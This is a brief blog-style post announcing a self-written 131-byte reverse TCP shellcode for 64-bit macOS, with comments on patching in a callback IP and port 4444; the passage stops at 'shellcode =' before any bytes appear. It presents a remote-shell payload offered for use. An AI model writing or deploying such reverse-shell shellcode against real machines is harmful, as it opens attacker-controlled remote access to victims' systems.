OSX x64 Reverse TCP Shellcode

I noticed there was not any reverse TCP shell code for 64-bit OSX. In fact, there is almost no 64-bit shell code for OSX. The only code I could find was here. This guy's blog post about 64-bit ASM on OSX helped with this project. It works great on 64-bit and 32-bit kernels. This is my first attempt at writing my own shell code; there are still optimizations left to do.

Shellcode

#OSX reverse tcp shell (131 bytes)
#replace FFFFFFFF around byte 43 with the call back ip in hex
#replace 5C11 around byte 39 with a new port current is 4444
shellcode =
